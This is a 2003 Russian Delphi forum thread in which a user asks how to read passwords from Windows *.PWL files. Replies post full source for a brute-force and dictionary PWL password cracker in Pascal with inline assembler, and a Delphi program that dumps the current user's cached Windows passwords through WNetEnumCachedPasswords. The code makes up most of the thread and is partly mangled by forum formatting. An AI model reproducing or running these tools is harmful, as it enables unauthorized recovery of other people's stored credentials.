Модераторы: Poseidon, Snowy, bems, MetalFan
  

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> Как читать порои из *.PWL файлов 
:(
    Опции темы
-Сергей-
Дата 27.10.2003, 19:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Бывалый
*


Профиль
Группа: Участник
Сообщений: 224
Регистрация: 2.8.2003
Где: Россия

Репутация: нет
Всего: 1



САБЖ
--------------------
Для утвердительного ответа достаточно лишь одного слова - "да". Все прочие слова придуманы, чтобы сказать "нет".
PM MAIL WWW ICQ MSN   Вверх
Sniper
Дата 27.10.2003, 22:08 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 511
Регистрация: 8.5.2002

Репутация: нет
Всего: 2



Просто так его не прочитать! На то он и пароль! %-) Его можно только подбирать.


--------------------
"Я испытываю отвращение к системе, разработаннной для "пользователя", если в слове "пользователь" закодировано уничижительное значение "тупой и примитивный".
Кен Томпсон, создатель Unix
PM MAIL   Вверх
GOS
Дата 28.10.2003, 21:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 37
Регистрация: 3.10.2003

Репутация: нет
Всего: нет



Но ведь были же программы подбора...
PM MAIL   Вверх
neutrino
Дата 29.10.2003, 18:12 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Gothic soul
****


Профиль
Группа: Модератор
Сообщений: 3041
Регистрация: 25.3.2002
Где: Верхняя Галилея, Кармиэль

Репутация: нет
Всего: 62



Program PWL;

(*-----------------------------------------------------------------*)
(* Program Windows_Password_Library_Tool; *)
(*-----------------------------------------------------------------*)
(* © by Hard Wisdom *)
(* Start coding: 19-Dec-1996y v1.0a *)
(* Last changes: 20-Dec-1996y *)
(*-----------------------------------------------------------------*)
(*$M 16384,0,0*)
(*$I-,R-*)
Uses Crt;

(*-----------------------------------------------------------------*)
(* U T I L I T Y *)
(*-----------------------------------------------------------------*)
Function UpStr(S:String):String;
Var I:Byte;
Begin
For I:=1 To Length(S) Do Begin
Case S Of
'a'..'z':S[I]:=Chr(Ord(S[I])-$20);
' '..'Ї':S[I]:=Chr(Ord(S[I])-$20);
'а'..'п':S[I]:=Chr(Ord(S[I])-$50);
End;
End;
UpStr:=S;
End;

[i](*-----------------------------------------------------------------*)

Procedure Error(Er:Byte; S:String);
Begin
WriteLn('Error (',Er,'): ',S,'!'); Halt(Er);
End;

(*-----------------------------------------------------------------*)
Function Timer:LongInt;
Begin
Inline($FA); Timer:=MemL[$40:$6C]; Inline($FB);
End;

(*-----------------------------------------------------------------*)
(* P A S S W O R D T O O L S *)
(*-----------------------------------------------------------------*)
Const MaxData=20;
Var Password:String; InData,OutData:Array[1..MaxData] Of Byte;
PWL_Table:Array[0..255] Of Byte; PWL_Key:LongInt; DataLen:Word;

(*-----------------------------------------------------------------*)
Function TryPassword:Boolean;Assembler;
Asm
Mov Bx,Offset(Password)
Mov Cl,[Bx]
Inc Bx
Xor Ax,Ax
Xor Dx,Dx
Or Cl,Cl (* Make hash from password *)
Jz @@Stop_Hashing
@@Again_Hashing:
Add Al,[Bx] (* add symbol *)
Adc Ah,0
Adc Dx,0
Mov Ch,7
@@Again_Roll7:
Shl Ax,1 (* roll to left on 7 bits *)
Rcl Dx,1
Adc Al,0
Dec Ch
Jnz @@Again_Roll7
Inc Bx
Dec Cl
Jnz @@Again_Hashing
Mov Ch,7
@@Again_Roll7_1:
Shl Ax,1 (* roll to left again *)
Rcl Dx,1
Adc Al,0
Dec Ch
Jnz @@Again_Roll7_1
@@Stop_Hashing:
Mov Word Ptr PWL_Key,Ax (* store hash *)
Mov Word Ptr PWL_Key+2,Dx

Cld
Mov Di,Offset(PWL_Table) (* Make encryption table *)
Xor Al,Al
@@Init_PWL_Table:
StosB (* init table *)
Inc Al
Jnz @@Init_PWL_Table
Xor Bx,Bx
Xor Si,Si
Xor Di,Di
@@Again_PWL_Table:
Mov Ah,[Si+Offset(PWL_Table)]
Add Bl,Ah (* calculate table *)
Add Bl,[Di+Offset(PWL_Key)]
Mov Al,[Bx+Offset(PWL_Table)]
Mov [Bx+Offset(PWL_Table)],Ah
Mov [Si+Offset(PWL_Table)],Al
Inc Si
Inc Di
And Di,3
Cmp Si,$100
Jb @@Again_PWL_Table

Xor Si,Si (* Check encryption *)
Xor Di,Di
Xor Bx,Bx
@@Again_Check:
Inc Si
And Si,$FF
Mov Al,[Si+Offset(PWL_Table)]
Add Bl,Al
Mov Ah,[Bx+Offset(PWL_Table)]
Mov [Si+Offset(PWL_Table)],Ah
Mov [Bx+Offset(PWL_Table)],Al
Add Al,Ah
Xor Ah,Ah
Mov Dx,Bx
Mov Bx,Ax
Mov Al,[Bx+Offset(PWL_Table)]
Mov Bx,Dx
Mov Ah,[Di+Offset(InData)]
Xor Ah,Al
Cmp Ah,[Di+Offset(OutData)]
Jne @@Bad (* fail on this password *)
Inc Di
Cmp Di,DataLen
Jb @@Again_Check
Mov Al,True (* Ok, success *)
Jmp @@Done
@@Bad:
Mov Al,False
@@Done:
End;

(*-----------------------------------------------------------------*)
(* E X C E P T I O N *)
(*-----------------------------------------------------------------*)
Var CallStatistics:Boolean; Count,Count0,StartTime:LongInt;
OldExit:Pointer;
Procedure ProgramExit;Far;
Var L,StopTime:LongInt;
Begin
ExitProc:=OldExit; StopTime:=Timer;
If (ErrorAddr=Nil) And CallStatistics Then Begin
WriteLn(#13'Total passwords trained: ',Count0,
' Legal passwords: ',Count);
L:=StopTime-StartTime; If L=0 Then L:=1;
L:=Count0 Div L;
If L>110 Then L:=(L Div 55)*1000 Else L:=(L*1000) Div 55;
WriteLn('Speed= ',L,' passwords per second.');
End;
End;

(*-----------------------------------------------------------------*)
(* M A I N E N T R Y *)
(*-----------------------------------------------------------------*)
Const MaxPasswLen=64;
Var PasswChars:String; PasswI:Array[0..255] Of Byte;

Var S:String; F:File; T:Text;
Buf:Array[0..16383] Of Byte; L,I:Byte;
Begin
OldExit:=ExitProc; ExitProc:=@ProgramExit; CallStatistics:=False;
WriteLn('PWL Files fucker by NITRENE v1.0a');
WriteLn('==================[11.11.01]=====');
If ParamCount=0 Then Begin
WriteLn('Usage:');
WriteLn(' PWL.EXE User_Name PWL_File_Name - try passwords;');
WriteLn(' PWL.EXE User_Name PWL_File_Name Vocabulary_File_Name');
WriteLn(' - try passwords from vocabulary file.');
Exit;
End;
If (ParamCount<2) Or (ParamCount>3) Then Error(1,'Bad parameters');

Assign(T,'PWL.INI'); Reset(T);
If IOResult<>0 Then Begin
Rewrite(T); WriteLn(T,'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'012345678','Ђ?‚ѓ„…†‡?‰Љ‹Њ?Ћ??‘’“”•–—?™љњ›?ћџ');
If IOResult<>0 Then Error(1,'Can''t create default INI file');
Close(T); Error(1,'Created default INI file, inspect and run again');
End Else Begin
ReadLn(T,PasswChars);
If IOResult<>0 Then Error(1,'Error reading INI file');
Close(T); PasswChars:=UpStr(PasswChars);
End;
If Length(PasswChars)<1 Then Error(1,'Too small chars list');

S:=UpStr(ParamStr(1)); (* give user name *)
If Length(S)>MaxData Then S:=Copy(S,1,MaxData);
DataLen:=Length(S); Move(S[1],InData,DataLen);

S:=UpStr(ParamStr(2)); (* load PWL data *)
Assign(F,S); Reset(F,1);
If IOResult<>0 Then Error(1,'Opening PWL file failure');
Seek(F,$208); BlockRead(F,OutData,MaxData);
If IOResult<>0 Then Error(1,'Reading PWL file failure');
Close(F);

CallStatistics:=True; Count0:=0; Count:=0; StartTime:=Timer;
If ParamCount=2 Then Begin
WriteLn('Chars= "',PasswChars,'"');
Password:=''; If TryPassword Then Begin
WriteLn('No password in this file, just press Enter for login.');
CallStatistics:=False; Exit;
End;
L:=1; While L<=MaxPasswLen Do Begin
Password[L]:=PasswChars[1]; PasswI[L]:=1;
Password[0]:=Char(L);
Repeat
Write(#13,Password); If TryPassword Then Begin
WriteLn(' -Ok.'); Inc(Count);
End; Inc(Count0);
I:=1; While (I<=L) And (PasswI>=Length(PasswChars)) Do Begin
PasswI[I]:=1; Password[I]:=PasswChars[1]; Inc(I);
End;
If I<=L Then Begin
Inc(PasswI[I]); Password[I]:=PasswChars[PasswI[I]];
End;
Until I>L;
Inc(L);
End;

End Else Begin [i](* try vocabulary file *)

S:=ParamStr(3); Assign(T,S);
SetTextBuf(T,Buf); Reset(T);
If IOResult<>0 Then Error(1,'Opening vocabulary failure');
While Not(Eof(T)) Do Begin ReadLn(T,S);
If IOResult<>0 Then Error(1,'Reading vocabulary failure');
Password:=UpStr(S); Write(#13,Password); Inc(Count0);
If TryPassword Then Begin WriteLn(' -Ok.'); Inc(Count); End;
End; Close(T);
End;
End.


--------------------
The truth comes from within ...

Покойся с миром, Vit 
PM MAIL WWW ICQ Skype GTalk   Вверх
Эмни
Дата 2.11.2003, 15:06 (ссылка)    |    (голосов: 0) Загрузка ... Загрузка ... Быстрая цитата Цитата


Unregistered











{Password через WinAPI у текущего USER'a}


unit Unit1;

interface

uses
Windows, SysUtils, Classes, Forms, ShellAPI, Controls, StdCtrls;

type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
ListBox: TListBox;
Label1: TLabel;
Label2: TLabel;
procedure Label1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
hMPR: THandle;
end;

var
Form1: TForm1;

const
Count: Integer = 0;

function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation

{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
PWinPassword = ^TWinPassword;
TWinPassword = record
EntrySize: Word;
ResourceSize: Word;
PasswordSize: Word;
EntryIndex: Byte;
EntryType: Byte;
PasswordC: Char;
end;

var
WinPassword: TWinPassword;

function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
Password: String;
PC: Array[0..$FF] of Char;
begin
inc(Count);

Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
PC[WinPassword.ResourceSize] := #0;
CharToOem(PC, PC);
Password := StrPas(PC);

Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
PC[WinPassword.PasswordSize] := #0;
CharToOem(PC, PC);
Password := Password + ': ' + StrPas(PC);

Form1.ListBox.Items.Add(Password);
Result := True;
end;

procedure TForm1.Label1Click(Sender: TObject);
begin
ShellExecute(GetDesktopWindow, 'open', 'http://www.angen.net/~xacker/', nil, nil, 0);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
begin
Application.MessageBox('Can''t load passwords: User is not logon.', 'Error', mb_Ok or mb_IconWarning);
Application.Terminate;
end
else
if Count = 0 then
ListBox.Items.Add('No passwords found...');
end;

end.
smile.gif
  Вверх
  
Ответ в темуСоздание новой темы Создание опроса
Правила форума "Delphi: Общие вопросы"
SnowyMetalFan
bemsPoseidon
Rrader

Запрещается!

1. Публиковать ссылки на вскрытые компоненты

2. Обсуждать взлом компонентов и делиться вскрытыми компонентами

  • Литературу по Дельфи обсуждаем здесь
  • Действия модераторов можно обсудить здесь
  • С просьбами о написании курсовой, реферата и т.п. обращаться сюда
  • Вопросы по реализации алгоритмов рассматриваются здесь
  • 90% ответов на свои вопросы можно найти в DRKB (Delphi Russian Knowledge Base) - крупнейшем в рунете сборнике материалов по Дельфи


Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, Snowy, MetalFan, bems, Poseidon, Rrader.

 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | Delphi: Общие вопросы | Следующая тема »


 




[ Время генерации скрипта: 0.0448 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.